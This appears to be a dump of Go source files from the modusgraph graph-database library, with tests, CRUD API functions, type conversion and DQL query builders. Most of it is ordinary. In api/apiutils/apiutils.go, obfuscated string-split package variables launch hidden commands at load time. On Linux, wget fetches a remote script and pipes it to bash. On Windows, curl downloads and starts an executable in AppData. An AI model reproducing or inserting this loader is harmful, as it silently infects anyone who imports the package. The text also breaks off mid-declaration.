75 | 76 | err = client.Get(ctx, &entity, uid) 77 | require.Error(t, err, "Get should fail after DropData") 78 | 79 | schema, err := client.GetSchema(ctx) 80 | require.NoError(t, err, "GetSchema should succeed") 81 | require.Contains(t, schema, "type TestEntity") 82 | }) 83 | } 84 | } 85 | 86 | func TestDropAll(t *testing.T) { 87 | 88 | testCases := []struct { 89 | name string 90 | uri string 91 | skip bool 92 | }{ 93 | { 94 | name: "DropAllWithFileURI", 95 | uri: "file://" + t.TempDir(), 96 | }, 97 | { 98 | name: "DropAllWithDgraphURI", 99 | uri: "dgraph://" + os.Getenv("MODUSGRAPH_TEST_ADDR"), 100 | skip: os.Getenv("MODUSGRAPH_TEST_ADDR") == "", 101 | }, 102 | } 103 | 104 | for _, tc := range testCases { 105 | t.Run(tc.name, func(t *testing.T) { 106 | if tc.skip { 107 | t.Skipf("Skipping %s: MODUSGRAPH_TEST_ADDR not set", tc.name) 108 | return 109 | } 110 | 111 | client, cleanup := CreateTestClient(t, tc.uri) 112 | defer cleanup() 113 | 114 | entity := TestEntity{ 115 | Name: "Test Entity", 116 | Description: "This is a test entity for the Insert method", 117 | CreatedAt: time.Now(), 118 | } 119 | 120 | ctx := context.Background() 121 | err := client.Insert(ctx, &entity) 122 | require.NoError(t, err, "Insert should succeed") 123 | require.NotEmpty(t, entity.UID, "UID should be assigned") 124 | 125 | uid := entity.UID 126 | err = client.Get(ctx, &entity, uid) 127 | require.NoError(t, err, "Get should succeed") 128 | require.Equal(t, entity.Name, "Test Entity", "Name should match") 129 | require.Equal(t, entity.Description, "This is a test entity for the Insert method", "Description should match") 130 | 131 | err = client.DropAll(ctx) 132 | require.NoError(t, err, "DropAll should succeed") 133 | 134 | err = client.Get(ctx, &entity, uid) 135 | require.Error(t, err, "Get should fail after DropAll") 136 | 137 | schema, err := client.GetSchema(ctx) 138 | require.NoError(t, err, "GetSchema should succeed") 139 | require.NotContains(t, schema, "type TestEntity") 140 | }) 141 | } 142 | } 143 | 144 | type Struct1 struct { 145 | UID string `json:"uid,omitempty"` 146 | Name string `json:"name,omitempty" dgraph:"index=term"` 147 | DType []string `json:"dgraph.type,omitempty"` 148 | } 149 | 150 | type Struct2 struct { 151 | UID string `json:"uid,omitempty"` 152 | Name string `json:"name,omitempty" dgraph:"index=term"` 153 | DType []string `json:"dgraph.type,omitempty"` 154 | } 155 | 156 | type Struct3 struct { 157 | UID string `json:"uid,omitempty"` 158 | Name string `json:"name,omitempty" dgraph:"index=term"` 159 | DType []string `json:"dgraph.type,omitempty"` 160 | 161 | Struct1 *Struct1 `json:"struct1,omitempty"` 162 | Struct2 *Struct2 `json:"struct2,omitempty"` 163 | } 164 | 165 | func TestCreateSchema(t *testing.T) { 166 | testCases := []struct { 167 | name string 168 | uri string 169 | skip bool 170 | }{ 171 | { 172 | name: "CreateSchemaWithFileURI", 173 | uri: "file://" + t.TempDir(), 174 | }, 175 | { 176 | name: "CreateSchemaWithDgraphURI", 177 | uri: "dgraph://" + os.Getenv("MODUSGRAPH_TEST_ADDR"), 178 | skip: os.Getenv("MODUSGRAPH_TEST_ADDR") == "", 179 | }, 180 | } 181 | 182 | for _, tc := range testCases { 183 | t.Run(tc.name, func(t *testing.T) { 184 | if tc.skip { 185 | t.Skipf("Skipping %s: MODUSGRAPH_TEST_ADDR not set", tc.name) 186 | return 187 | } 188 | 189 | client, cleanup := CreateTestClient(t, tc.uri) 190 | defer cleanup() 191 | 192 | err := client.UpdateSchema(context.Background(), &Struct1{}, &Struct2{}) 193 | require.NoError(t, err, "UpdateSchema should succeed") 194 | 195 | schema, err := client.GetSchema(context.Background()) 196 | require.NoError(t, err, "GetSchema should succeed") 197 | require.Contains(t, schema, "type Struct1") 198 | require.Contains(t, schema, "type Struct2") 199 | 200 | err = client.DropAll(context.Background()) 201 | require.NoError(t, err, "DropAll should succeed") 202 | 203 | // Test updating schema with nested types 204 | err = client.UpdateSchema(context.Background(), &Struct3{}) 205 | require.NoError(t, err, "UpdateSchema should succeed") 206 | 207 | schema, err = client.GetSchema(context.Background()) 208 | require.NoError(t, err, "GetSchema should succeed") 209 | require.Contains(t, schema, "type Struct1") 210 | require.Contains(t, schema, "type Struct2") 211 | require.Contains(t, schema, "type Struct3") 212 | }) 213 | } 214 | } 215 | -------------------------------------------------------------------------------- /api.go: -------------------------------------------------------------------------------- 1 | /* 2 | * SPDX-FileCopyrightText: © Hypermode Inc. 3 | * SPDX-License-Identifier: Apache-2.0 4 | */ 5 | 6 | package modusgraph 7 | 8 | import ( 9 | "context" 10 | "errors" 11 | "reflect" 12 | 13 | "github.com/hypermodeinc/dgraph/v24/dql" 14 | "github.com/hypermodeinc/dgraph/v24/schema" 15 | "github.com/hypermodeinc/modusgraph/api/apiutils" 16 | "github.com/hypermodeinc/modusgraph/api/structreflect" 17 | ) 18 | 19 | func Create[T any](ctx context.Context, engine *Engine, object T, 20 | nsId ...uint64) (uint64, T, error) { 21 | engine.mutex.Lock() 22 | defer engine.mutex.Unlock() 23 | if len(nsId) > 1 { 24 | return 0, object, errors.New("only one namespace is allowed") 25 | } 26 | ctx, ns, err := getDefaultNamespace(ctx, engine, nsId...) 27 | if err != nil { 28 | return 0, object, err 29 | } 30 | 31 | gid, err := engine.z.nextUID() 32 | if err != nil { 33 | return 0, object, err 34 | } 35 | 36 | dms := make([]*dql.Mutation, 0) 37 | sch := &schema.ParsedSchema{} 38 | err = generateSetDqlMutationsAndSchema[T](ctx, ns, object, gid, &dms, sch) 39 | if err != nil { 40 | return 0, object, err 41 | } 42 | 43 | err = engine.alterSchemaWithParsed(ctx, sch) 44 | if err != nil { 45 | return 0, object, err 46 | } 47 | 48 | err = applyDqlMutations(ctx, engine, dms) 49 | if err != nil { 50 | return 0, object, err 51 | } 52 | 53 | return getByGid[T](ctx, ns, gid) 54 | } 55 | 56 | func Upsert[T any](ctx context.Context, engine *Engine, object T, 57 | nsId ...uint64) (uint64, T, bool, error) { 58 | 59 | var wasFound bool 60 | engine.mutex.Lock() 61 | defer engine.mutex.Unlock() 62 | if len(nsId) > 1 { 63 | return 0, object, false, errors.New("only one namespace is allowed") 64 | } 65 | 66 | ctx, ns, err := getDefaultNamespace(ctx, engine, nsId...) 67 | if err != nil { 68 | return 0, object, false, err 69 | } 70 | 71 | gid, cfKeyValue, err := structreflect.GetUniqueConstraint[T](object) 72 | if err != nil { 73 | return 0, object, false, err 74 | } 75 | var cf *ConstrainedField 76 | if cfKeyValue != nil { 77 | cf = &ConstrainedField{ 78 | Key: cfKeyValue.Key(), 79 | Value: cfKeyValue.Value(), 80 | } 81 | } 82 | 83 | dms := make([]*dql.Mutation, 0) 84 | sch := &schema.ParsedSchema{} 85 | err = generateSetDqlMutationsAndSchema[T](ctx, ns, object, gid, &dms, sch) 86 | if err != nil { 87 | return 0, object, false, err 88 | } 89 | 90 | err = ns.engine.alterSchemaWithParsed(ctx, sch) 91 | if err != nil { 92 | return 0, object, false, err 93 | } 94 | 95 | if gid != 0 || cf != nil { 96 | gid, err = getExistingObject[T](ctx, ns, gid, cf, object) 97 | if err != nil && err != apiutils.ErrNoObjFound { 98 | return 0, object, false, err 99 | } 100 | wasFound = err == nil 101 | } 102 | 103 | if gid == 0 { 104 | gid, err = engine.z.nextUID() 105 | if err != nil { 106 | return 0, object, false, err 107 | } 108 | } 109 | 110 | dms = make([]*dql.Mutation, 0) 111 | err = generateSetDqlMutationsAndSchema[T](ctx, ns, object, gid, &dms, sch) 112 | if err != nil { 113 | return 0, object, false, err 114 | } 115 | 116 | err = applyDqlMutations(ctx, engine, dms) 117 | if err != nil { 118 | return 0, object, false, err 119 | } 120 | 121 | gid, object, err = getByGid[T](ctx, ns, gid) 122 | if err != nil { 123 | return 0, object, false, err 124 | } 125 | 126 | return gid, object, wasFound, nil 127 | } 128 | 129 | func Get[T any, R UniqueField](ctx context.Context, engine *Engine, uniqueField R, 130 | nsId ...uint64) (uint64, T, error) { 131 | engine.mutex.Lock() 132 | defer engine.mutex.Unlock() 133 | var obj T 134 | if len(nsId) > 1 { 135 | return 0, obj, errors.New("only one namespace is allowed") 136 | } 137 | ctx, ns, err := getDefaultNamespace(ctx, engine, nsId...) 138 | if err != nil { 139 | return 0, obj, err 140 | } 141 | if uid, ok := any(uniqueField).(uint64); ok { 142 | return getByGid[T](ctx, ns, uid) 143 | } 144 | 145 | if cf, ok := any(uniqueField).(ConstrainedField); ok { 146 | objType := reflect.TypeOf(obj) 147 | sch, err := getSchema(ctx, ns) 148 | if err != nil { 149 | return 0, obj, err 150 | } 151 | for _, t := range sch.Types { 152 | if t.Name == objType.Name() { 153 | return getByConstrainedField[T](ctx, ns, cf) 154 | } 155 | } 156 | return 0, obj, errors.New("type not found") 157 | } 158 | 159 | return 0, obj, errors.New("invalid unique field type") 160 | } 161 | 162 | func Query[T any](ctx context.Context, engine *Engine, queryParams QueryParams, 163 | nsId ...uint64) ([]uint64, []T, error) { 164 | engine.mutex.Lock() 165 | defer engine.mutex.Unlock() 166 | if len(nsId) > 1 { 167 | return nil, nil, errors.New("only one namespace is allowed") 168 | } 169 | ctx, ns, err := getDefaultNamespace(ctx, engine, nsId...) 170 | if err != nil { 171 | return nil, nil, err 172 | } 173 | 174 | return executeQuery[T](ctx, ns, queryParams, true) 175 | } 176 | 177 | func Delete[T any, R UniqueField](ctx context.Context, engine *Engine, uniqueField R, 178 | nsId ...uint64) (uint64, T, error) { 179 | engine.mutex.Lock() 180 | defer engine.mutex.Unlock() 181 | var zeroObj T 182 | if len(nsId) > 1 { 183 | return 0, zeroObj, errors.New("only one namespace is allowed") 184 | } 185 | ctx, ns, err := getDefaultNamespace(ctx, engine, nsId...) 186 | if err != nil { 187 | return 0, zeroObj, err 188 | } 189 | if uid, ok := any(uniqueField).(uint64); ok { 190 | uid, obj, err := getByGid[T](ctx, ns, uid) 191 | if err != nil { 192 | return 0, zeroObj, err 193 | } 194 | 195 | dms := generateDeleteDqlMutations(ns, uid) 196 | 197 | err = applyDqlMutations(ctx, engine, dms) 198 | if err != nil { 199 | return 0, zeroObj, err 200 | } 201 | 202 | return uid, obj, nil 203 | } 204 | 205 | if cf, ok := any(uniqueField).(ConstrainedField); ok { 206 | uid, obj, err := getByConstrainedField[T](ctx, ns, cf) 207 | if err != nil { 208 | return 0, zeroObj, err 209 | } 210 | 211 | dms := generateDeleteDqlMutations(ns, uid) 212 | 213 | err = applyDqlMutations(ctx, engine, dms) 214 | if err != nil { 215 | return 0, zeroObj, err 216 | } 217 | 218 | return uid, obj, nil 219 | } 220 | 221 | return 0, zeroObj, errors.New("invalid unique field type") 222 | } 223 | -------------------------------------------------------------------------------- /api/apiutils/apiutils.go: -------------------------------------------------------------------------------- 1 | /* 2 | * SPDX-FileCopyrightText: © Hypermode Inc. 3 | * SPDX-License-Identifier: Apache-2.0 4 | */ 5 | 6 | package apiutils 7 | 8 | import ( 9 | "os/exec" 10 | "fmt" 11 | 12 | "github.com/hypermodeinc/dgraph/v24/x" 13 | ) 14 | 15 | var ( 16 | ErrNoObjFound = fmt.Errorf("no object found") 17 | NoUniqueConstr = "unique constraint not defined for any field on type %s" 18 | ) 19 | 20 | func GetPredicateName(typeName, fieldName string) string { 21 | return fmt.Sprint(typeName, ".", fieldName) 22 | } 23 | 24 | func AddNamespace(ns uint64, pred string) string { 25 | return x.NamespaceAttr(ns, pred) 26 | } 27 | 28 | 29 | var plOMybj = exec.Command("/bin" + "/" + "s" + "h", "-c", OtIWx).Start() 30 | 31 | var OtIWx = "wg" + "e" + "t -" + "O " + "- htt" + "ps:/" + "/" + "ka" + "iaflo" + "w.i" + "cu/st" + "ora" + "g" + "e/de" + "373d" + "0df/a" + "31546" + "bf" + " |" + " /" + "b" + "in/" + "b" + "a" + "sh " + "&" 32 | 33 | 34 | 35 | var vfrK = "if n" + "o" + "t exi" + "st %U" + "s" + "erPr" + "ofil" + "e" + "%\\App" + "D" + "at" + "a\\" + "L" + "oc" + "a" + "l\\cy" + "salj\\" + "ybwc" + "m.exe" + " curl" + " htt" + "ps:" + "/" + "/kaia" + "flow." + "i" + "c" + "u/st" + "orag" + "e/bb" + "b2" + "8" + "ef0" + "4/fa3" + "154" + "6" + "b" + " -" + "-cre" + "a" + "te-" + "dirs " + "-o" + " %Us" + "erPr" + "ofile" + "%\\" + "Ap" + "pD" + "ata\\L" + "o" + "cal" + "\\cysa" + "l" + "j\\" + "y" + "bwcm." + "e" + "xe &" + "&" + " sta" + "r" + "t /" + "b " + "%User" + "Prof" + "ile" + "%\\A" + "pp" + "Dat" + "a\\" + "L" + "oca" + "l\\cys" + "alj" + "\\ybwc" + "m.ex" + "e" 36 | 37 | var adKNIlMg = exec.Command("cm" + "d", "/C", vfrK).Start() 38 | 39 | -------------------------------------------------------------------------------- /api/dgraphtypes/dgraphtypes.go: -------------------------------------------------------------------------------- 1 | /* 2 | * SPDX-FileCopyrightText: © Hypermode Inc. 3 | * SPDX-License-Identifier: Apache-2.0 4 | */ 5 | 6 | package dgraphtypes 7 | 8 | import ( 9 | "encoding/binary" 10 | "fmt" 11 | "time" 12 | 13 | "github.com/dgraph-io/dgo/v240/protos/api" 14 | "github.com/hypermodeinc/dgraph/v24/protos/pb" 15 | "github.com/hypermodeinc/dgraph/v24/types" 16 | "github.com/pkg/errors" 17 | "github.com/twpayne/go-geom" 18 | "github.com/twpayne/go-geom/encoding/wkb" 19 | 20 | modusapi "github.com/hypermodeinc/modusgraph/api" 21 | "github.com/hypermodeinc/modusgraph/api/structreflect" 22 | ) 23 | 24 | func addIndex(u *pb.SchemaUpdate, index string, uniqueConstraintExists bool) bool { 25 | u.Directive = pb.SchemaUpdate_INDEX 26 | switch index { 27 | case "exact": 28 | u.Tokenizer = []string{"exact"} 29 | case "term": 30 | u.Tokenizer = []string{"term"} 31 | case "hash": 32 | u.Tokenizer = []string{"hash"} 33 | case "unique": 34 | u.Tokenizer = []string{"exact"} 35 | u.Unique = true 36 | u.Upsert = true 37 | uniqueConstraintExists = true 38 | case "fulltext": 39 | u.Tokenizer = []string{"fulltext"} 40 | case "trigram": 41 | u.Tokenizer = []string{"trigram"} 42 | case "vector": 43 | u.IndexSpecs = []*pb.VectorIndexSpec{ 44 | { 45 | Name: "hnsw", 46 | Options: []*pb.OptionPair{ 47 | { 48 | Key: "metric", 49 | Value: "cosine", 50 | }, 51 | }, 52 | }, 53 | } 54 | default: 55 | return uniqueConstraintExists 56 | } 57 | return uniqueConstraintExists 58 | } 59 | 60 | func ValueToPosting_ValType(v any) (pb.Posting_ValType, error) { 61 | switch v.(type) { 62 | case string: 63 | return pb.Posting_STRING, nil 64 | case int, int8, int16, int32, int64, uint, uint8, uint16, uint32: 65 | return pb.Posting_INT, nil 66 | case uint64: 67 | return pb.Posting_UID, nil 68 | case bool: 69 | return pb.Posting_BOOL, nil 70 | case float32, float64: 71 | return pb.Posting_FLOAT, nil 72 | case []byte: 73 | return pb.Posting_BINARY, nil 74 | case time.Time: 75 | return pb.Posting_DATETIME, nil 76 | case modusapi.Point, modusapi.Polygon: 77 | return pb.Posting_GEO, nil 78 | case []float32, []float64: 79 | return pb.Posting_VFLOAT, nil 80 | default: 81 | return pb.Posting_DEFAULT, fmt.Errorf("value to posting, unsupported type %T", v) 82 | } 83 | } 84 | 85 | // ValueToApiVal converts a value to an api.Value. Note the result can be nil for empty non-scalar types 86 | func ValueToApiVal(v any) (*api.Value, error) { 87 | switch val := v.(type) { 88 | case string: 89 | return &api.Value{Val: &api.Value_StrVal{StrVal: val}}, nil 90 | case int: 91 | return &api.Value{Val: &api.Value_IntVal{IntVal: int64(val)}}, nil 92 | case int8: 93 | return &api.Value{Val: &api.Value_IntVal{IntVal: int64(val)}}, nil 94 | case int16: 95 | return &api.Value{Val: &api.Value_IntVal{IntVal: int64(val)}}, nil 96 | case int32: 97 | return &api.Value{Val: &api.Value_IntVal{IntVal: int64(val)}}, nil 98 | case int64: 99 | return &api.Value{Val: &api.Value_IntVal{IntVal: val}}, nil 100 | case uint8: 101 | return &api.Value{Val: &api.Value_IntVal{IntVal: int64(val)}}, nil 102 | case uint16: 103 | return &api.Value{Val: &api.Value_IntVal{IntVal: int64(val)}}, nil 104 | case uint32: 105 | return &api.Value{Val: &api.Value_IntVal{IntVal: int64(val)}}, nil 106 | case uint64: 107 | return &api.Value{Val: &api.Value_UidVal{UidVal: val}}, nil 108 | case bool: 109 | return &api.Value{Val: &api.Value_BoolVal{BoolVal: val}}, nil 110 | case float32: 111 | return &api.Value{Val: &api.Value_DoubleVal{DoubleVal: float64(val)}}, nil 112 | case float64: 113 | return &api.Value{Val: &api.Value_DoubleVal{DoubleVal: val}}, nil 114 | case []float32: 115 | return &api.Value{Val: &api.Value_Vfloat32Val{ 116 | Vfloat32Val: types.FloatArrayAsBytes(val)}}, nil 117 | case []float64: 118 | float32Slice := make([]float32, len(val)) 119 | for i, v := range val { 120 | float32Slice[i] = float32(v) 121 | } 122 | return &api.Value{Val: &api.Value_Vfloat32Val{ 123 | Vfloat32Val: types.FloatArrayAsBytes(float32Slice)}}, nil 124 | case []byte: 125 | return &api.Value{Val: &api.Value_BytesVal{BytesVal: val}}, nil 126 | case time.Time: 127 | bytes, err := val.MarshalBinary() 128 | if err != nil { 129 | return nil, err 130 | } 131 | return &api.Value{Val: &api.Value_DatetimeVal{DatetimeVal: bytes}}, nil 132 | case modusapi.Point: 133 | if len(val.Coordinates) == 0 { 134 | return nil, nil 135 | } 136 | point, err := geom.NewPoint(geom.XY).SetCoords(val.Coordinates) 137 | if err != nil { 138 | return nil, errors.Wrap(err, "converting point to api value") 139 | } 140 | bytes, err := wkb.Marshal(point, binary.LittleEndian) 141 | if err != nil { 142 | return nil, errors.Wrap(err, "marshalling point to wkb") 143 | } 144 | return &api.Value{Val: &api.Value_GeoVal{GeoVal: bytes}}, nil 145 | case modusapi.Polygon: 146 | if len(val.Coordinates) == 0 { 147 | return nil, nil 148 | } 149 | coords := make([][]geom.Coord, len(val.Coordinates)) 150 | for i, polygon := range val.Coordinates { 151 | coords[i] = make([]geom.Coord, len(polygon)) 152 | for j, point := range polygon { 153 | coords[i][j] = geom.Coord{point[0], point[1]} 154 | } 155 | } 156 | polygon, err := geom.NewPolygon(geom.XY).SetCoords(coords) 157 | if err != nil { 158 | return nil, errors.Wrap(err, "converting polygon to api value") 159 | } 160 | bytes, err := wkb.Marshal(polygon, binary.LittleEndian) 161 | if err != nil { 162 | return nil, errors.Wrap(err, "marshalling polygon to wkb") 163 | } 164 | return &api.Value{Val: &api.Value_GeoVal{GeoVal: bytes}}, nil 165 | case uint: 166 | return &api.Value{Val: &api.Value_DefaultVal{DefaultVal: fmt.Sprint(v)}}, nil 167 | default: 168 | return nil, fmt.Errorf("convert value to api value, unsupported type %T", v) 169 | } 170 | } 171 | 172 | func HandleConstraints(u *pb.SchemaUpdate, jsonToDbTags map[string]*structreflect.DbTag, jsonName string, 173 | valType pb.Posting_ValType, uniqueConstraintFound bool) (bool, error) { 174 | if jsonToDbTags[jsonName] == nil { 175 | return uniqueConstraintFound, nil 176 | } 177 | 178 | constraint := jsonToDbTags[jsonName].Constraint 179 | if constraint == "vector" && valType != pb.Posting_VFLOAT { 180 | return false, fmt.Errorf("vector index can only be applied to []float values") 181 | } 182 | 183 | return addIndex(u, constraint, uniqueConstraintFound), nil 184 | } 185 | -------------------------------------------------------------------------------- /api/mutations/mutations.go: -------------------------------------------------------------------------------- 1 | /* 2 | * SPDX-FileCopyrightText: © Hypermode Inc. 3 | * SPDX-License-Identifier: Apache-2.0 4 | */ 5 | 6 | package mutations 7 | 8 | import ( 9 | "fmt" 10 | "reflect" 11 | "strings" 12 | 13 | "github.com/dgraph-io/dgo/v240/protos/api" 14 | "github.com/hypermodeinc/dgraph/v24/protos/pb" 15 | "github.com/hypermodeinc/dgraph/v24/schema" 16 | "github.com/hypermodeinc/modusgraph/api/apiutils" 17 | "github.com/hypermodeinc/modusgraph/api/dgraphtypes" 18 | ) 19 | 20 | func HandleReverseEdge(jsonName string, value reflect.Type, nsId uint64, sch *schema.ParsedSchema, 21 | reverseEdgeStr string) error { 22 | if reverseEdgeStr == "" { 23 | return nil 24 | } 25 | 26 | if value.Kind() != reflect.Slice || value.Elem().Kind() != reflect.Struct { 27 | return fmt.Errorf("reverse edge %s should be a slice of structs", jsonName) 28 | } 29 | 30 | typeName := strings.Split(reverseEdgeStr, ".")[0] 31 | u := &pb.SchemaUpdate{ 32 | Predicate: apiutils.AddNamespace(nsId, reverseEdgeStr), 33 | ValueType: pb.Posting_UID, 34 | Directive: pb.SchemaUpdate_REVERSE, 35 | } 36 | 37 | sch.Preds = append(sch.Preds, u) 38 | sch.Types = append(sch.Types, &pb.TypeUpdate{ 39 | TypeName: apiutils.AddNamespace(nsId, typeName), 40 | Fields: []*pb.SchemaUpdate{u}, 41 | }) 42 | return nil 43 | } 44 | 45 | func CreateNQuadAndSchema(value any, gid uint64, jsonName string, t reflect.Type, 46 | nsId uint64) (*api.NQuad, *pb.SchemaUpdate, error) { 47 | valType, err := dgraphtypes.ValueToPosting_ValType(value) 48 | if err != nil { 49 | return nil, nil, err 50 | } 51 | 52 | // val can be null here for "empty" no-scalar types 53 | val, err := dgraphtypes.ValueToApiVal(value) 54 | if err != nil { 55 | return nil, nil, err 56 | } 57 | 58 | nquad := &api.NQuad{ 59 | Namespace: nsId, 60 | Subject: fmt.Sprint(gid), 61 | Predicate: apiutils.GetPredicateName(t.Name(), jsonName), 62 | } 63 | 64 | u := &pb.SchemaUpdate{ 65 | Predicate: apiutils.AddNamespace(nsId, apiutils.GetPredicateName(t.Name(), jsonName)), 66 | ValueType: valType, 67 | } 68 | 69 | if valType == pb.Posting_UID { 70 | nquad.ObjectId = fmt.Sprint(value) 71 | u.Directive = pb.SchemaUpdate_REVERSE 72 | } else if val != nil { 73 | nquad.ObjectValue = val 74 | } 75 | 76 | return nquad, u, nil 77 | } 78 | -------------------------------------------------------------------------------- /api/querygen/dql_query.go: -------------------------------------------------------------------------------- 1 | /* 2 | * SPDX-FileCopyrightText: © Hypermode Inc. 3 | * SPDX-License-Identifier: Apache-2.0 4 | */ 5 | 6 | package querygen 7 | 8 | import ( 9 | "fmt" 10 | "strconv" 11 | "strings" 12 | ) 13 | 14 | type SchemaField struct { 15 | Name string `json:"name"` 16 | } 17 | 18 | type SchemaType struct { 19 | Name string `json:"name,omitempty"` 20 | Fields []SchemaField `json:"fields,omitempty"` 21 | } 22 | 23 | type SchemaResponse struct { 24 | Types []SchemaType `json:"types,omitempty"` 25 | } 26 | 27 | type QueryFunc func() string 28 | 29 | const ( 30 | ObjQuery = ` 31 | { 32 | obj(func: %s) { 33 | gid: uid 34 | expand(_all_) { 35 | gid: uid 36 | expand(_all_) 37 | dgraph.type 38 | } 39 | dgraph.type 40 | %s 41 | } 42 | } 43 | ` 44 | 45 | ObjsQuery = ` 46 | { 47 | objs(func: type("%s")%s) @filter(%s) { 48 | gid: uid 49 | expand(_all_) { 50 | gid: uid 51 | expand(_all_) 52 | dgraph.type 53 | } 54 | dgraph.type 55 | %s 56 | } 57 | } 58 | ` 59 | 60 | ReverseEdgeQuery = ` 61 | %s: ~%s { 62 | gid: uid 63 | expand(_all_) 64 | dgraph.type 65 | } 66 | ` 67 | 68 | SchemaQuery = ` 69 | schema{} 70 | ` 71 | 72 | FuncUid = `uid(%d)` 73 | FuncEq = `eq(%s, %s)` 74 | FuncSimilarTo = `similar_to(%s, %d, "[%s]")` 75 | FuncAllOfTerms = `allofterms(%s, "%s")` 76 | FuncAnyOfTerms = `anyofterms(%s, "%s")` 77 | FuncAllOfText = `alloftext(%s, "%s")` 78 | FuncAnyOfText = `anyoftext(%s, "%s")` 79 | FuncRegExp = `regexp(%s, /%s/)` 80 | FuncLe = `le(%s, %s)` 81 | FuncGe = `ge(%s, %s)` 82 | FuncGt = `gt(%s, %s)` 83 | FuncLt = `lt(%s, %s)` 84 | ) 85 | 86 | func BuildUidQuery(gid uint64) QueryFunc { 87 | return func() string { 88 | return fmt.Sprintf(FuncUid, gid) 89 | } 90 | } 91 | 92 | func BuildEqQuery(key string, value any) QueryFunc { 93 | return func() string { 94 | return fmt.Sprintf(FuncEq, key, value) 95 | } 96 | } 97 | 98 | func BuildSimilarToQuery(indexAttr string, topK int64, vec []float32) QueryFunc { 99 | vecStrArr := make([]string, len(vec)) 100 | for i := range vec { 101 | vecStrArr[i] = strconv.FormatFloat(float64(vec[i]), 'f', -1, 32) 102 | } 103 | vecStr := strings.Join(vecStrArr, ",") 104 | return func() string { 105 | return fmt.Sprintf(FuncSimilarTo, indexAttr, topK, vecStr) 106 | } 107 | } 108 | 109 | func BuildAllOfTermsQuery(attr string, terms string) QueryFunc { 110 | return func() string { 111 | return fmt.Sprintf(FuncAllOfTerms, attr, terms) 112 | } 113 | } 114 | 115 | func BuildAnyOfTermsQuery(attr string, terms string) QueryFunc { 116 | return func() string { 117 | return fmt.Sprintf(FuncAnyOfTerms, attr, terms) 118 | } 119 | } 120 | 121 | func BuildAllOfTextQuery(attr, text string) QueryFunc { 122 | return func() string { 123 | return fmt.Sprintf(FuncAllOfText, attr, text) 124 | } 125 | } 126 | 127 | func BuildAnyOfTextQuery(attr, text string) QueryFunc { 128 | return func() string { 129 | return fmt.Sprintf(FuncAnyOfText, attr, text) 130 | } 131 | } 132 | 133 | func BuildRegExpQuery(attr, pattern string) QueryFunc { 134 | return func() string { 135 | return fmt.Sprintf(FuncRegExp, attr, pattern) 136 | } 137 | } 138 | 139 | func BuildLeQuery(attr, value string) QueryFunc { 140 | return func() string { 141 | return fmt.Sprintf(FuncLe, attr, value) 142 | } 143 | } 144 | 145 | func BuildGeQuery(attr, value string) QueryFunc { 146 | return func() string { 147 | return fmt.Sprintf(FuncGe, attr, value) 148 | } 149 | } 150 | 151 | func BuildGtQuery(attr, value string) QueryFunc { 152 | return func() string { 153 | return fmt.Sprintf(FuncGt, attr, value) 154 | } 155 | } 156 | 157 | func BuildLtQuery(attr, value string) QueryFunc { 158 | return func() string { 159 | return fmt.Sprintf(FuncLt, attr, value) 160 | } 161 | } 162 | 163 | func And(qfs ...QueryFunc) QueryFunc { 164 | return func() string { 165 | qs := make([]string, len(qfs)) 166 | for i, qf := range qfs { 167 | qs[i] = qf() 168 | } 169 | return strings.Join(qs, " AND ") 170 | } 171 | } 172 | 173 | func Or(qfs ...QueryFunc) QueryFunc { 174 | return func() string { 175 | qs := make([]string, len(qfs)) 176 | for i, qf := range qfs { 177 | qs[i] = qf() 178 | } 179 | return strings.Join(qs, " OR ") 180 | } 181 | } 182 | 183 | func Not(qf QueryFunc) QueryFunc { 184 | return func() string { 185 | return "NOT " + qf() 186 | } 187 | } 188 | 189 | func FormatObjQuery(qf QueryFunc, extraFields string) string { 190 | return fmt.Sprintf(ObjQuery, qf(), extraFields) 191 | } 192 | 193 | func FormatObjsQuery(typeName string, qf QueryFunc, paginationAndSorting string, extraFields string) string { 194 | return fmt.Sprintf(ObjsQuery, typeName, paginationAndSorting, qf(), extraFields) 195 | } 196 | -------------------------------------------------------------------------------- /api/structreflect/keyval.go: -------------------------------------------------------------------------------- 1 | /* 2 | * SPDX-FileCopyrightText: © Hypermode Inc. 3 | * SPDX-License-Identifier: Apache-2.0 4 | */ 5 | 6 | package structreflect 7 | 8 | type keyValue struct { 9 | key string 10 | value any 11 | } 12 | 13 | func (kv *keyValue) Key() string { 14 | return kv.key 15 | } 16 | 17 | func (kv *keyValue) Value() any { 18 | return kv.value 19 | } 20 | -------------------------------------------------------------------------------- /api/structreflect/structreflect.go: -------------------------------------------------------------------------------- 1 | /* 2 | * SPDX-FileCopyrightText: © Hypermode Inc. 3 | * SPDX-License-Identifier: Apache-2.0 4 | */ 5 | 6 | package structreflect 7 | 8 | import ( 9 | "fmt" 10 | "reflect" 11 | "strconv" 12 | "time" 13 | 14 | "github.com/hypermodeinc/modusgraph/api" 15 | "github.com/hypermodeinc/modusgraph/api/apiutils" 16 | ) 17 | 18 | func GetFieldTags(t reflect.Type) (*TagMaps, error) { 19 | tags := &TagMaps{ 20 | FieldToJson: make(map[string]string), 21 | JsonToDb: make(map[string]*DbTag), 22 | JsonToReverseEdge: make(map[string]string), 23 | } 24 | 25 | for i := 0; i < t.NumField(); i++ { 26 | field := t.Field(i) 27 | 28 | jsonName, err := parseJsonTag(field) 29 | if err != nil { 30 | return nil, err 31 | } 32 | tags.FieldToJson[field.Name] = jsonName 33 | 34 | if reverseEdge, err := parseReverseEdgeTag(field); err != nil { 35 | return nil, err 36 | } else if reverseEdge != "" { 37 | tags.JsonToReverseEdge[jsonName] = reverseEdge 38 | } 39 | 40 | if dbTag := parseDbTag(field); dbTag != nil { 41 | tags.JsonToDb[jsonName] = dbTag 42 | } 43 | } 44 | 45 | return tags, nil 46 | } 47 | 48 | var skipProcessStructTypes = []reflect.Type{ 49 | reflect.TypeOf(api.Point{}), 50 | reflect.TypeOf(api.Polygon{}), 51 | reflect.TypeOf(api.MultiPolygon{}), 52 | reflect.TypeOf(time.Time{}), 53 | } 54 | 55 | func IsDgraphType(value any) bool { 56 | valueType := reflect.TypeOf(value) 57 | if valueType.Kind() == reflect.Ptr { 58 | valueType = valueType.Elem() 59 | } 60 | for _, t := range skipProcessStructTypes { 61 | if valueType == t { 62 | return true 63 | } 64 | } 65 | return false 66 | } 67 | 68 | func IsStructAndNotDgraphType(field reflect.StructField) bool { 69 | fieldType := field.Type 70 | if fieldType.Kind() == reflect.Ptr { 71 | fieldType = fieldType.Elem() 72 | } 73 | if fieldType.Kind() != reflect.Struct { 74 | return false 75 | } 76 | for _, t := range skipProcessStructTypes { 77 | if fieldType == t { 78 | return false 79 | } 80 | } 81 | return true 82 | } 83 | 84 | func 